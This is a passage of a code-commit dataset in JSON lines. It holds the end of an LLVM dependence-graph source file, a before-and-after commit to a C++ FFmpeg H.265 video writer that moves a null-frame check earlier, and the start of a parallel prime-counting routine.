node;\n}\n\nstatic LLVMNode *getConstantExprNode(const llvm::ConstantExpr *CE,\n                                     LLVMDependenceGraph *dg,\n                                     const llvm::DataLayout *DL)\n{\n    \/\/ we have these nodes stored\n    if (isa<IntToPtrInst>(CE))\n        return getConstantIntToPtrNode(CE, DL);\n\n\n    \/\/ FIXME add these nodes somewhere,\n    \/\/ so that we can delete them later\n    LLVMNode *node = new LLVMNode(CE);\n\n    \/\/ set points-to sets\n    Pointer ptr = getConstantExprPointer(CE, dg, DL);\n    node->addPointsTo(ptr);\n\n    return node;\n}\n\nstatic LLVMNode *getUnknownNode(LLVMDependenceGraph *dg, const llvm::Value *val,\n                                const llvm::DataLayout *DL)\n{\n    LLVMNode *node = nullptr;\n\n    using namespace llvm;\n    if (const ConstantExpr *CE = dyn_cast<ConstantExpr>(val)) {\n        node = getConstantExprNode(CE, dg, DL);\n    } else if (isa<Function>(val)) {\n        \/\/ if the function was created via function pointer during\n        \/\/ points-to analysis, the operand may not be not be set.\n        \/\/ What is worse, the function may not be created either,\n        \/\/ so the node just may not exists at all, so we need to\n        \/\/ create it\n        node = getOrCreateNode(dg, val);\n    } else if (isa<ConstantPointerNull>(val)) {\n        \/\/ what to do with nullptr?\n        node = createNodeWithMemAlloc(val);\n    } else {\n        errs() << \"ERR: Unsupported operand: \" << *val << \"\\n\";\n        abort();\n    }\n\n    assert(node && \"Did not get a node\");\n    return node;\n}\n\n\/*\n * we have DependenceGraph::getNode() which retrives existing node.\n * The operand nodes may not exists, though.\n * This function gets the existing node, or creates new one and sets\n * it as an operand.\n *\/\nLLVMNode *getOperand(LLVMNode *node, const llvm::Value *val,\n                     unsigned int idx, const llvm::DataLayout *DL)\n{\n    \/\/ ok, before calling this we call llvm::Value::getOperand() to get val\n    \/\/ and in node->getOperand() we call it too. It is small overhead, but just\n    \/\/ to know where to optimize when going to extrems\n\n    LLVMNode *op = node->getOperand(idx);\n    if (op)\n        return op;\n\n    LLVMDependenceGraph *dg = node->getDG();\n\n    \/\/ set new operand\n    op = getUnknownNode(dg, val, DL);\n    assert(op && \"Did not get op\");\n\n    node->setOperand(op, idx);\n    return op;\n}\n\n} \/\/ namespace analysis\n} \/\/ namespace dg\n\n\n<|endoftext|>"}
{"text":"<commit_before>#include \"ffmpeg_video_target.h\"\n#include \"except.h\"\n\n#ifdef GENERATE_PERFORMANCE_OUTPUT\n#include <boost\/timer\/timer.hpp>\n#endif\n\nnamespace gg\n{\n\nVideoTargetFFmpeg::VideoTargetFFmpeg(const std::string codec) :\n    _codec(NULL),\n    _codec_name(\"\"),\n    _frame(NULL),\n    _first_frame(true),\n    _framerate(-1),\n    _sws_context(NULL),\n    _format_context(NULL),\n    _stream(NULL),\n    _frame_index(0)\n{\n    if (codec != \"H265\")\n    {\n        std::string msg;\n        msg.append(\"Codec \")\n           .append(codec)\n           .append(\" not recognised\");\n        throw VideoTargetError(msg);\n    }\n#ifdef FFMPEG_HWACCEL\n    _codec_name = \"nvenc_hevc\";\n#else\n    _codec_name = \"libx265\";\n#endif\n\n    av_register_all();\n}\n\nvoid VideoTargetFFmpeg::init(const std::string filepath, const float framerate)\n{\n    if (framerate <= 0)\n        throw VideoTargetError(\"Negative fps does not make sense\");\n    if (framerate - (int) framerate > 0)\n        throw VideoTargetError(\"Only integer framerates are supported\");\n    _framerate = (int) framerate;\n\n    check_filetype_support(filepath, \"mp4\");\n\n    _filepath = filepath;\n\n    \/* allocate the output media context *\/\n    avformat_alloc_output_context2(&_format_context, NULL, NULL, _filepath.c_str());\n    if (_format_context == NULL)\n        \/\/ Use MP4 as default if context cannot be deduced from file extension\n        avformat_alloc_output_context2(&_format_context, NULL, \"mp4\", NULL);\n    if (_format_context == NULL)\n        throw VideoTargetError(\"Could not allocate output media context\");\n\n    _codec = avcodec_find_encoder_by_name(_codec_name.c_str());\n    if (not _codec)\n        throw VideoTargetError(\"Codec not found\");\n\n    _stream = avformat_new_stream(_format_context, _codec);\n    if (_stream == NULL)\n        throw VideoTargetError(\"Could not allocate stream\");\n    _stream->id = _format_context->nb_streams-1; \/\/ TODO isn't this wrong?\n\n    \/\/ allocate FFmpeg frame\n    _frame = av_frame_alloc();\n    if (not _frame)\n        throw VideoTargetError(\"Could not allocate video frame\");\n    _first_frame = true;\n}\n\nvoid VideoTargetFFmpeg::append(const VideoFrame_BGRA & frame)\n{\n    ffmpeg_frame(frame.data(),\n                 frame.data_length(),\n                 frame.cols(), frame.rows(),\n                 AV_PIX_FMT_BGRA, _frame);\n\n    { \/\/ START auto_cpu_timer scope\n#ifdef GENERATE_PERFORMANCE_OUTPUT\n    boost::timer::auto_cpu_timer t(this_class_str + \"1-encode_and_write\" + timer_format_str);\n#endif\n\n    \/* encode the image *\/\n    int got_output;\n    encode_and_write(_frame, got_output);\n\n    } \/\/ END auto_cpu_timer scope\n}\n\nvoid VideoTargetFFmpeg::append(const VideoFrame_I420 & frame)\n{\n    \/\/ TODO\n}\n\nvoid VideoTargetFFmpeg::ffmpeg_frame(const unsigned char * data,\n                                     const size_t data_length,\n                                     const int width, const int height,\n                                     const AVPixelFormat colour_space,\n                                     AVFrame * frame)\n{\n    if (_framerate <= 0)\n        throw VideoTargetError(\"Video target not initialised\");\n\n    \/\/ return value buffers\n    int ret;\n\n    \/\/ if first frame, initialise\n    if (_first_frame)\n    {\n#ifdef GENERATE_PERFORMANCE_OUTPUT\n#ifndef timer_format_str\n#define timer_format_str \\\n        std::string(\", %w, %u, %s, %t, %p\" \\\n                    \", wall (s), user (s), system (s), user+system (s), CPU (\\%)\\n\")\n#endif\n#ifndef this_class_str\n#define this_class_str std::string(\"VideoTargetFFmpeg-\")\n#endif\n        boost::timer::auto_cpu_timer t(this_class_str + \"first-frame\" + timer_format_str);\n#endif\n        \/\/ TODO - is _codec_context ever being modified after first frame?\n        \/* TODO: using default reduces filesize\n         * but should we set it nonetheless?\n         *\/\n\/\/        _stream->codec->bit_rate = 400000;\n        _stream->codec->width = width;\n        _stream->codec->height = height;\n        _stream->time_base = (AVRational){ 1, _framerate };\n        _stream->codec->time_base = _stream->time_base;\n        _stream->codec->gop_size = 12;\n        \/* TODO emit one intra frame every twelve frames at most *\/\n        _stream->codec->pix_fmt = AV_PIX_FMT_YUV420P;\n        \/* Some formats want stream headers to be separate. *\/\n        if (_format_context->oformat->flags & AVFMT_GLOBALHEADER)\n            _stream->codec->flags |= AV_CODEC_FLAG_GLOBAL_HEADER;\n\n        switch (_stream->codec->codec_id)\n        {\n        case AV_CODEC_ID_H264:\n        case AV_CODEC_ID_HEVC:\n#ifdef FFMPEG_HWACCEL\n            \/\/ nop\n            ret = 0;\n#else\n            \/* TODO will this work in real-time with a framegrabber ?\n             * \"slow\" produces 2x larger file compared to \"ultrafast\",\n             * but with a substantial visual quality degradation\n             * (judged using the coloured chessboard pattern)\n             * \"fast\" is a trade-off: visual quality looks similar\n             * while file size is reasonable\n             *\/\n            ret = av_opt_set(_stream->codec->priv_data, \"preset\", \"fast\", 0);\n#endif\n            if (ret != 0)\n                throw VideoTargetError(\"Could not set codec-specific options\");\n\n            \/* Resolution must be a multiple of two, as required\n             * by H264 and H265. Introduce a one-pixel padding for\n             * non-complying dimension(s).\n             *\/\n            _stream->codec->width +=\n                    _stream->codec->width % 2 == 0 ? 0 : 1;\n            _stream->codec->height +=\n                    _stream->codec->height % 2 == 0 ? 0 : 1;\n            break;\n        default:\n            \/\/ nop\n            break;\n        }\n\n        \/* open it *\/\n        if (avcodec_open2(_stream->codec, _codec, NULL) < 0)\n            throw VideoTargetError(\"Could not open codec\");\n\n        frame->format = _stream->codec->pix_fmt;\n        frame->width  = _stream->codec->width;\n        frame->height = _stream->codec->height;\n        \/* allocate the buffers for the frame data *\/\n        \/\/ TODO #25 what influence does 32 have on performance?\n        ret = av_frame_get_buffer(frame, 32);\n        if (ret < 0)\n            throw VideoTargetError(\"Could not allocate frame data\");\n\n        \/* Now that all the parameters are set, we can open the audio and\n         * video codecs and allocate the necessary encode buffers. *\/\n        av_dump_format(_format_context, 0, _filepath.c_str(), 1);\n        \/* open the output file, if needed *\/\n        if (!(_format_context->oformat->flags & AVFMT_NOFILE))\n        {\n            ret = avio_open(&_format_context->pb, _filepath.c_str(), AVIO_FLAG_WRITE);\n            if (ret < 0)\n            {\n                std::string msg;\n                msg.append(\"File \")\n                   .append(_filepath)\n                   .append(\" could not be opened\");\n                throw VideoTargetError(msg);\n            }\n        }\n\n        \/* Write the stream header, if any. *\/\n        ret = avformat_write_header(_format_context, NULL);\n        if (ret < 0)\n            throw VideoTargetError(\"Could not write header to file\");\n\n        \/* TODO USE_COLOUR_SPACE_I420 also implicitly provides\n         * this check, but selective code compilation might make\n         * code faster, due to not having the conditional checks\n         *\/\n        if (colour_space == AV_PIX_FMT_BGRA)\n        {\n            \/* Open context for converting BGRA pixels to YUV420p *\/\n            _sws_context = sws_getContext(\n                        width, height, AV_PIX_FMT_BGRA,\n                        width, height, _stream->codec->pix_fmt,\n                        0, NULL, NULL, NULL);\n            if (_sws_context == NULL)\n                throw VideoTargetError(\"Could not allocate Sws context\");\n        }\n        else if (colour_space != AV_PIX_FMT_YUV420P)\n            throw VideoTargetError(\"Colour space not supported\");\n\n        \/\/ To be incremented for each frame, used as pts\n        _frame_index = 0;\n\n        \/\/ Packet to be used when writing frames\n        av_init_packet(&_packet);\n        \/\/ TODO #25 data gets allocated each time?\n        _packet.data = NULL;    \/\/ packet data will be allocated by the encoder\n        _packet.size = 0;\n\n        _bgra_stride[0] = 4*width;\n\n        _first_frame = false;\n    }\n\n    if (not frame)\n        throw VideoTargetError(\"FFmpeg frame not initialised\");\n\n    { \/\/ START auto_cpu_timer scope\n#ifdef GENERATE_PERFORMANCE_OUTPUT\n    boost::timer::auto_cpu_timer t(this_class_str + \"1-av_frame_make_writable\" + timer_format_str);\n#endif\n\n    \/* when we pass a frame to the encoder, it may keep a reference to it\n     * internally;\n     * make sure we do not overwrite it here\n     *\/\n    \/\/ TODO #25 why not only once?\n    ret = av_frame_make_writable(frame);\n    if (ret < 0)\n        throw VideoTargetError(\"Could not make frame writeable\");\n\n    } \/\/ END auto_cpu_timer scope\n\n    { \/\/ START auto_cpu_timer scope\n#ifdef GENERATE_PERFORMANCE_OUTPUT\n    boost::timer::auto_cpu_timer t(this_class_str + \"1-sws_scale\" + timer_format_str);\n#endif\n\n    _src_data_ptr[0] = data;\n    \/* TODO USE_COLOUR_SPACE_I420 also implicitly provides\n     * this check, but selective code compilation might make\n     * code faster, due to not having the conditional checks\n     *\/\n    switch(colour_space)\n    {\n    case AV_PIX_FMT_BGRA:\n        \/* convert pixel format *\/\n        sws_scale(_sws_context,\n                  _src_data_ptr, _bgra_stride, \/\/ BGRA has one plane\n                  0, height,\n                  frame->data, frame->linesize\n                  );\n        break;\n    case AV_PIX_FMT_YUV420P:\n        \/\/ TODO, in first frame?\n        break;\n    default:\n        throw VideoTargetError(\"Colour space not supported\");\n    }\n\n    frame->pts = _frame_index++;\n\n    } \/\/ END auto_cpu_timer scope\n}\n\nvoid VideoTargetFFmpeg::encode_and_write(AVFrame * frame, int & got_output)\n{\n    int ret;\n\n    { \/\/ START auto_cpu_timer scope\n#ifdef GENERATE_PERFORMANCE_OUTPUT\n    boost::timer::auto_cpu_timer t(this_class_str + \"2-avcodec_encode_video2\" + timer_format_str);\n#endif\n    ret = avcodec_encode_video2(_stream->codec, &_packet, frame, &got_output);\n    } \/\/ END auto_cpu_timer scope\n\n    if (ret < 0)\n        throw VideoTargetError(\"Error encoding frame\");\n\n    if (got_output)\n    {\n        { \/\/ START auto_cpu_timer scope\n#ifdef GENERATE_PERFORMANCE_OUTPUT\n        boost::timer::auto_cpu_timer t(this_class_str + \"2-av_packet_rescale_ts\" + timer_format_str);\n#endif\n        \/* rescale output packet timestamp values from codec to stream timebase *\/\n        av_packet_rescale_ts(&_packet, _stream->codec->time_base, _stream->time_base);\n        \/\/ TODO - above time bases are the same, or not?\n        _packet.stream_index = _stream->index;\n        } \/\/ END auto_cpu_timer scope\n\n        { \/\/ START auto_cpu_timer scope\n#ifdef GENERATE_PERFORMANCE_OUTPUT\n        boost::timer::auto_cpu_timer t(this_class_str + \"2-av_interleaved_write_frame\" + timer_format_str);\n#endif\n        \/* Write the compressed frame to the media file. *\/\n        ret = av_interleaved_write_frame(_format_context, &_packet);\n        }\n\n        if (ret < 0)\n            throw VideoTargetError(\"Could not interleaved write frame\");\n\/\/        av_packet_unref(&packet); taken care of by av_interleaved_write_frame\n    }\n}\n\nvoid VideoTargetFFmpeg::finalise()\n{\n    \/* This condition means that append\n     * has been called at least once\n     * successfully (see Issue#36)\n     *\/\n    if (_frame)\n    {\n        \/* get the delayed frames *\/\n        for (int got_output = 1; got_output; )\n            encode_and_write(NULL, got_output);\n\n        \/* Write the trailer, if any. The trailer must be written before you\n         * close the CodecContexts open when you wrote the header; otherwise\n         * av_write_trailer() may try to use memory that was freed on\n         * av_codec_close(). *\/\n        av_write_trailer(_format_context);\n    }\n\n    if (_stream->codec) avcodec_close(_stream->codec);\n    if (_frame) av_frame_free(&_frame);\n\/\/  av_freep(&_frame->data[0]); no need for this because _frame never manages its own data\n    if (_sws_context) sws_freeContext(_sws_context);\n\n    if (!(_format_context->oformat->flags & AVFMT_NOFILE))\n        if (_format_context->pb)\n            \/* Close the output file. *\/\n            avio_closep(&_format_context->pb);\n    \/* free the stream *\/\n    avformat_free_context(_format_context);\n\n    \/\/ default values, for next init\n    _codec = NULL;\n    _frame = NULL;\n    _framerate = -1;\n    _sws_context = NULL;\n    _format_context = NULL;\n    _stream = NULL;\n    _frame_index = 0;\n}\n\n}\n<commit_msg>Issue #48: ffmpeg_frame checks frame not null right at the beginning now<commit_after>#include \"ffmpeg_video_target.h\"\n#include \"except.h\"\n\n#ifdef GENERATE_PERFORMANCE_OUTPUT\n#include <boost\/timer\/timer.hpp>\n#endif\n\nnamespace gg\n{\n\nVideoTargetFFmpeg::VideoTargetFFmpeg(const std::string codec) :\n    _codec(NULL),\n    _codec_name(\"\"),\n    _frame(NULL),\n    _first_frame(true),\n    _framerate(-1),\n    _sws_context(NULL),\n    _format_context(NULL),\n    _stream(NULL),\n    _frame_index(0)\n{\n    if (codec != \"H265\")\n    {\n        std::string msg;\n        msg.append(\"Codec \")\n           .append(codec)\n           .append(\" not recognised\");\n        throw VideoTargetError(msg);\n    }\n#ifdef FFMPEG_HWACCEL\n    _codec_name = \"nvenc_hevc\";\n#else\n    _codec_name = \"libx265\";\n#endif\n\n    av_register_all();\n}\n\nvoid VideoTargetFFmpeg::init(const std::string filepath, const float framerate)\n{\n    if (framerate <= 0)\n        throw VideoTargetError(\"Negative fps does not make sense\");\n    if (framerate - (int) framerate > 0)\n        throw VideoTargetError(\"Only integer framerates are supported\");\n    _framerate = (int) framerate;\n\n    check_filetype_support(filepath, \"mp4\");\n\n    _filepath = filepath;\n\n    \/* allocate the output media context *\/\n    avformat_alloc_output_context2(&_format_context, NULL, NULL, _filepath.c_str());\n    if (_format_context == NULL)\n        \/\/ Use MP4 as default if context cannot be deduced from file extension\n        avformat_alloc_output_context2(&_format_context, NULL, \"mp4\", NULL);\n    if (_format_context == NULL)\n        throw VideoTargetError(\"Could not allocate output media context\");\n\n    _codec = avcodec_find_encoder_by_name(_codec_name.c_str());\n    if (not _codec)\n        throw VideoTargetError(\"Codec not found\");\n\n    _stream = avformat_new_stream(_format_context, _codec);\n    if (_stream == NULL)\n        throw VideoTargetError(\"Could not allocate stream\");\n    _stream->id = _format_context->nb_streams-1; \/\/ TODO isn't this wrong?\n\n    \/\/ allocate FFmpeg frame\n    _frame = av_frame_alloc();\n    if (not _frame)\n        throw VideoTargetError(\"Could not allocate video frame\");\n    _first_frame = true;\n}\n\nvoid VideoTargetFFmpeg::append(const VideoFrame_BGRA & frame)\n{\n    ffmpeg_frame(frame.data(),\n                 frame.data_length(),\n                 frame.cols(), frame.rows(),\n                 AV_PIX_FMT_BGRA, _frame);\n\n    { \/\/ START auto_cpu_timer scope\n#ifdef GENERATE_PERFORMANCE_OUTPUT\n    boost::timer::auto_cpu_timer t(this_class_str + \"1-encode_and_write\" + timer_format_str);\n#endif\n\n    \/* encode the image *\/\n    int got_output;\n    encode_and_write(_frame, got_output);\n\n    } \/\/ END auto_cpu_timer scope\n}\n\nvoid VideoTargetFFmpeg::append(const VideoFrame_I420 & frame)\n{\n    \/\/ TODO\n}\n\nvoid VideoTargetFFmpeg::ffmpeg_frame(const unsigned char * data,\n                                     const size_t data_length,\n                                     const int width, const int height,\n                                     const AVPixelFormat colour_space,\n                                     AVFrame * frame)\n{\n    if (_framerate <= 0)\n        throw VideoTargetError(\"Video target not initialised\");\n\n    if (not frame)\n        throw VideoTargetError(\"FFmpeg frame not initialised\");\n\n    \/\/ return value buffers\n    int ret;\n\n    \/\/ if first frame, initialise\n    if (_first_frame)\n    {\n#ifdef GENERATE_PERFORMANCE_OUTPUT\n#ifndef timer_format_str\n#define timer_format_str \\\n        std::string(\", %w, %u, %s, %t, %p\" \\\n                    \", wall (s), user (s), system (s), user+system (s), CPU (\\%)\\n\")\n#endif\n#ifndef this_class_str\n#define this_class_str std::string(\"VideoTargetFFmpeg-\")\n#endif\n        boost::timer::auto_cpu_timer t(this_class_str + \"first-frame\" + timer_format_str);\n#endif\n        \/\/ TODO - is _codec_context ever being modified after first frame?\n        \/* TODO: using default reduces filesize\n         * but should we set it nonetheless?\n         *\/\n\/\/        _stream->codec->bit_rate = 400000;\n        _stream->codec->width = width;\n        _stream->codec->height = height;\n        _stream->time_base = (AVRational){ 1, _framerate };\n        _stream->codec->time_base = _stream->time_base;\n        _stream->codec->gop_size = 12;\n        \/* TODO emit one intra frame every twelve frames at most *\/\n        _stream->codec->pix_fmt = AV_PIX_FMT_YUV420P;\n        \/* Some formats want stream headers to be separate. *\/\n        if (_format_context->oformat->flags & AVFMT_GLOBALHEADER)\n            _stream->codec->flags |= AV_CODEC_FLAG_GLOBAL_HEADER;\n\n        switch (_stream->codec->codec_id)\n        {\n        case AV_CODEC_ID_H264:\n        case AV_CODEC_ID_HEVC:\n#ifdef FFMPEG_HWACCEL\n            \/\/ nop\n            ret = 0;\n#else\n            \/* TODO will this work in real-time with a framegrabber ?\n             * \"slow\" produces 2x larger file compared to \"ultrafast\",\n             * but with a substantial visual quality degradation\n             * (judged using the coloured chessboard pattern)\n             * \"fast\" is a trade-off: visual quality looks similar\n             * while file size is reasonable\n             *\/\n            ret = av_opt_set(_stream->codec->priv_data, \"preset\", \"fast\", 0);\n#endif\n            if (ret != 0)\n                throw VideoTargetError(\"Could not set codec-specific options\");\n\n            \/* Resolution must be a multiple of two, as required\n             * by H264 and H265. Introduce a one-pixel padding for\n             * non-complying dimension(s).\n             *\/\n            _stream->codec->width +=\n                    _stream->codec->width % 2 == 0 ? 0 : 1;\n            _stream->codec->height +=\n                    _stream->codec->height % 2 == 0 ? 0 : 1;\n            break;\n        default:\n            \/\/ nop\n            break;\n        }\n\n        \/* open it *\/\n        if (avcodec_open2(_stream->codec, _codec, NULL) < 0)\n            throw VideoTargetError(\"Could not open codec\");\n\n        frame->format = _stream->codec->pix_fmt;\n        frame->width  = _stream->codec->width;\n        frame->height = _stream->codec->height;\n        \/* allocate the buffers for the frame data *\/\n        \/\/ TODO #25 what influence does 32 have on performance?\n        ret = av_frame_get_buffer(frame, 32);\n        if (ret < 0)\n            throw VideoTargetError(\"Could not allocate frame data\");\n\n        \/* Now that all the parameters are set, we can open the audio and\n         * video codecs and allocate the necessary encode buffers. *\/\n        av_dump_format(_format_context, 0, _filepath.c_str(), 1);\n        \/* open the output file, if needed *\/\n        if (!(_format_context->oformat->flags & AVFMT_NOFILE))\n        {\n            ret = avio_open(&_format_context->pb, _filepath.c_str(), AVIO_FLAG_WRITE);\n            if (ret < 0)\n            {\n                std::string msg;\n                msg.append(\"File \")\n                   .append(_filepath)\n                   .append(\" could not be opened\");\n                throw VideoTargetError(msg);\n            }\n        }\n\n        \/* Write the stream header, if any. *\/\n        ret = avformat_write_header(_format_context, NULL);\n        if (ret < 0)\n            throw VideoTargetError(\"Could not write header to file\");\n\n        \/* TODO USE_COLOUR_SPACE_I420 also implicitly provides\n         * this check, but selective code compilation might make\n         * code faster, due to not having the conditional checks\n         *\/\n        if (colour_space == AV_PIX_FMT_BGRA)\n        {\n            \/* Open context for converting BGRA pixels to YUV420p *\/\n            _sws_context = sws_getContext(\n                        width, height, AV_PIX_FMT_BGRA,\n                        width, height, _stream->codec->pix_fmt,\n                        0, NULL, NULL, NULL);\n            if (_sws_context == NULL)\n                throw VideoTargetError(\"Could not allocate Sws context\");\n        }\n        else if (colour_space != AV_PIX_FMT_YUV420P)\n            throw VideoTargetError(\"Colour space not supported\");\n\n        \/\/ To be incremented for each frame, used as pts\n        _frame_index = 0;\n\n        \/\/ Packet to be used when writing frames\n        av_init_packet(&_packet);\n        \/\/ TODO #25 data gets allocated each time?\n        _packet.data = NULL;    \/\/ packet data will be allocated by the encoder\n        _packet.size = 0;\n\n        _bgra_stride[0] = 4*width;\n\n        _first_frame = false;\n    }\n\n    { \/\/ START auto_cpu_timer scope\n#ifdef GENERATE_PERFORMANCE_OUTPUT\n    boost::timer::auto_cpu_timer t(this_class_str + \"1-av_frame_make_writable\" + timer_format_str);\n#endif\n\n    \/* when we pass a frame to the encoder, it may keep a reference to it\n     * internally;\n     * make sure we do not overwrite it here\n     *\/\n    \/\/ TODO #25 why not only once?\n    ret = av_frame_make_writable(frame);\n    if (ret < 0)\n        throw VideoTargetError(\"Could not make frame writeable\");\n\n    } \/\/ END auto_cpu_timer scope\n\n    { \/\/ START auto_cpu_timer scope\n#ifdef GENERATE_PERFORMANCE_OUTPUT\n    boost::timer::auto_cpu_timer t(this_class_str + \"1-sws_scale\" + timer_format_str);\n#endif\n\n    _src_data_ptr[0] = data;\n    \/* TODO USE_COLOUR_SPACE_I420 also implicitly provides\n     * this check, but selective code compilation might make\n     * code faster, due to not having the conditional checks\n     *\/\n    switch(colour_space)\n    {\n    case AV_PIX_FMT_BGRA:\n        \/* convert pixel format *\/\n        sws_scale(_sws_context,\n                  _src_data_ptr, _bgra_stride, \/\/ BGRA has one plane\n                  0, height,\n                  frame->data, frame->linesize\n                  );\n        break;\n    case AV_PIX_FMT_YUV420P:\n        \/\/ TODO, in first frame?\n        break;\n    default:\n        throw VideoTargetError(\"Colour space not supported\");\n    }\n\n    frame->pts = _frame_index++;\n\n    } \/\/ END auto_cpu_timer scope\n}\n\nvoid VideoTargetFFmpeg::encode_and_write(AVFrame * frame, int & got_output)\n{\n    int ret;\n\n    { \/\/ START auto_cpu_timer scope\n#ifdef GENERATE_PERFORMANCE_OUTPUT\n    boost::timer::auto_cpu_timer t(this_class_str + \"2-avcodec_encode_video2\" + timer_format_str);\n#endif\n    ret = avcodec_encode_video2(_stream->codec, &_packet, frame, &got_output);\n    } \/\/ END auto_cpu_timer scope\n\n    if (ret < 0)\n        throw VideoTargetError(\"Error encoding frame\");\n\n    if (got_output)\n    {\n        { \/\/ START auto_cpu_timer scope\n#ifdef GENERATE_PERFORMANCE_OUTPUT\n        boost::timer::auto_cpu_timer t(this_class_str + \"2-av_packet_rescale_ts\" + timer_format_str);\n#endif\n        \/* rescale output packet timestamp values from codec to stream timebase *\/\n        av_packet_rescale_ts(&_packet, _stream->codec->time_base, _stream->time_base);\n        \/\/ TODO - above time bases are the same, or not?\n        _packet.stream_index = _stream->index;\n        } \/\/ END auto_cpu_timer scope\n\n        { \/\/ START auto_cpu_timer scope\n#ifdef GENERATE_PERFORMANCE_OUTPUT\n        boost::timer::auto_cpu_timer t(this_class_str + \"2-av_interleaved_write_frame\" + timer_format_str);\n#endif\n        \/* Write the compressed frame to the media file. *\/\n        ret = av_interleaved_write_frame(_format_context, &_packet);\n        }\n\n        if (ret < 0)\n            throw VideoTargetError(\"Could not interleaved write frame\");\n\/\/        av_packet_unref(&packet); taken care of by av_interleaved_write_frame\n    }\n}\n\nvoid VideoTargetFFmpeg::finalise()\n{\n    \/* This condition means that append\n     * has been called at least once\n     * successfully (see Issue#36)\n     *\/\n    if (_frame)\n    {\n        \/* get the delayed frames *\/\n        for (int got_output = 1; got_output; )\n            encode_and_write(NULL, got_output);\n\n        \/* Write the trailer, if any. The trailer must be written before you\n         * close the CodecContexts open when you wrote the header; otherwise\n         * av_write_trailer() may try to use memory that was freed on\n         * av_codec_close(). *\/\n        av_write_trailer(_format_context);\n    }\n\n    if (_stream->codec) avcodec_close(_stream->codec);\n    if (_frame) av_frame_free(&_frame);\n\/\/  av_freep(&_frame->data[0]); no need for this because _frame never manages its own data\n    if (_sws_context) sws_freeContext(_sws_context);\n\n    if (!(_format_context->oformat->flags & AVFMT_NOFILE))\n        if (_format_context->pb)\n            \/* Close the output file. *\/\n            avio_closep(&_format_context->pb);\n    \/* free the stream *\/\n    avformat_free_context(_format_context);\n\n    \/\/ default values, for next init\n    _codec = NULL;\n    _frame = NULL;\n    _framerate = -1;\n    _sws_context = NULL;\n    _format_context = NULL;\n    _stream = NULL;\n    _frame_index = 0;\n}\n\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/\/\n\/\/\/ @file  pi_lmo_parallel3.cpp\n\/\/\/ @brief Parallel implementation of the Lagarias-Miller-Odlyzko\n\/\/\/        prime counting algorithm using OpenMP. This implementation\n\/\/\/        is based on pi_lmo_parallel2(x) but has an improved\n\/\/\/        load balancing.\n\/\/\/\n\/\/\/ Copyright (C) 2014 Kim Walisch, <kim.walisch@gmail.com>\n\/\/\/\n\/\/\/ This file is distributed under the BSD License. See the COPYING\n\/\/\/ file in the top level directory.\n\/\/\/\n\n#include <primecount-internal.hpp>\n#include <aligned_vector.hpp>\n#include <BitSieve.hpp>\n#include <generate.hpp>\n#include <pmath.hpp>\n#include <PhiTiny.hpp>\n#include <S1.hpp>\n#include <S2LoadBalancer.hpp>\n#include <S2Status.hpp>\n#include <tos_counters.hpp>\n\n#include <stdint.h>\n#include <algorithm>\n#include <iostream>\n#include <vector>\n\n#ifdef _OPENMP\n  #include <omp.h>\n#endif\n\nusing namespace std;\nusing namespace primecount;\n\nnamespace {\n\n\/\/\/ For each prime calculate its first multiple >= low\nvector<int64_t> generate_next_multiples(int64_t low, int64_t size, vector<int32_t>& primes)\n{\n  vector<int64_t> next;\n\n  next.reserve(size);\n  next.push_back(0);\n\n  for (int64_t b = 1; b < size; b++)\n  {\n    int64_t prime = primes[b];\n    int64_t next_multiple = ceil_div(low, prime) * prime;\n    next_multiple += prime * (~next_multiple & 1);\n    next.push_back(next_multiple);\n  }\n\n  return next;\n}\n\ntemplate <typename T>\nvoid cross_off(int64_t prime,\n               int64_t low,\n               int64_t high,\n               int64_t& next_multiple,\n               BitSieve& sieve,\n               T& counters)\n{\n  int64_t segment_size = sieve.size();\n  int64_t k = next_multiple;\n\n  for (; k < high; k += prime * 2)\n  {\n    if (sieve[k - low])\n    {\n      sieve.unset(k - low);\n      cnt_update(counters, k - low, segment_size);\n    }\n  }\n  next_multiple = k;\n}\n\n\/\/\/ Compute the S2 contribution for the interval\n\/\/\/ [low_process, low_process + segments * segment_size[.\n\/\/\/ The missing special leaf contributions for the interval\n\/\/\/ [1, low_process[ are later reconstructed and added in\n\/\/\/ the calling (parent) S2 function.\n\/\/\/\nint64_t S2_thread(int64_t x,\n                  int64_t y,\n                  int64_t c,\n                  int64_t segment_size,\n                  int64_t segments_per_thread,\n                  int64_t thread_num,\n                  int64_t low,\n                  int64_t limit,\n                  vector<int32_t>& pi,\n                  vector<int32_t>& primes,\n                  vector<int32_t>& lpf,\n                  vector<int32_t>& mu,\n                  vector<int64_t>& mu_sum,\n                  vector<int64_t>& phi)\n{\n  low += segment_size * segments_per_thread * thread_num;\n  limit = min(low + segment_size * segments_per_thread, limit);\n  int64_t size = pi[min(isqrt(x \/ low), y)] + 1;\n  int64_t pi_sqrty = pi[isqrt(y)];\n  int64_t pi_y = pi[y];\n\n  if (c >= size - 1)\n    return 0;\n\n  int64_t S2_thread = 0;\n  BitSieve sieve(segment_size);\n  vector<int32_t> counters(segment_size);\n  vector<int64_t> next = generate_next_multiples(low, size, primes);\n  phi.resize(size, 0);\n  mu_sum.resize(size, 0);\n\n  \/\/ Process the segments assigned to the current thread\n  for (; low < limit; low += segment_size)\n  {\n    \/\/ Current segment = interval [low, high[\n    int64_t high = min(low + segment_size, limit);\n    int64_t b = 2;\n\n    sieve.fill(low, high);\n\n    \/\/ phi(y, b) nodes with b <= c do not contribute to S2, so we\n    \/\/ simply sieve out the multiples of the first c primes\n    for (; b <= c; b++)\n    {\n      int64_t k = next[b];\n      for (int64_t prime = primes[b]; k < high; k += prime * 2)\n        sieve.unset(k - low);\n      next[b] = k;\n    }\n\n    \/\/ Initialize special tree data structure from sieve\n    cnt_finit(sieve, counters, segment_size);\n\n    \/\/ For c + 1 <= b < pi_sqrty\n    \/\/ Find all special leaves: n = primes[b] * m\n    \/\/ which satisfy:  mu[m] != 0 && primes[b] < lpf[m], low <= (x \/ n) < high\n    for (; b < min(pi_sqrty, size); b++)\n    {\n      int64_t prime = primes[b];\n      int64_t min_m = max(x \/ (prime * high), y \/ prime);\n      int64_t max_m = min(x \/ (prime * low), y);\n\n      if (prime >= max_m)\n        goto next_segment;\n\n      for (int64_t m = max_m; m > min_m; m--)\n      {\n        if (mu[m] != 0 && prime < lpf[m])\n        {\n          int64_t n = prime * m;\n          int64_t count = cnt_query(counters, (x \/ n) - low);\n          int64_t phi_xn = phi[b] + count;\n          S2_thread -= mu[m] * phi_xn;\n          mu_sum[b] -= mu[m];\n        }\n      }\n\n      phi[b] += cnt_query(counters, (high - 1) - low);\n      cross_off(prime, low, high, next[b], sieve, 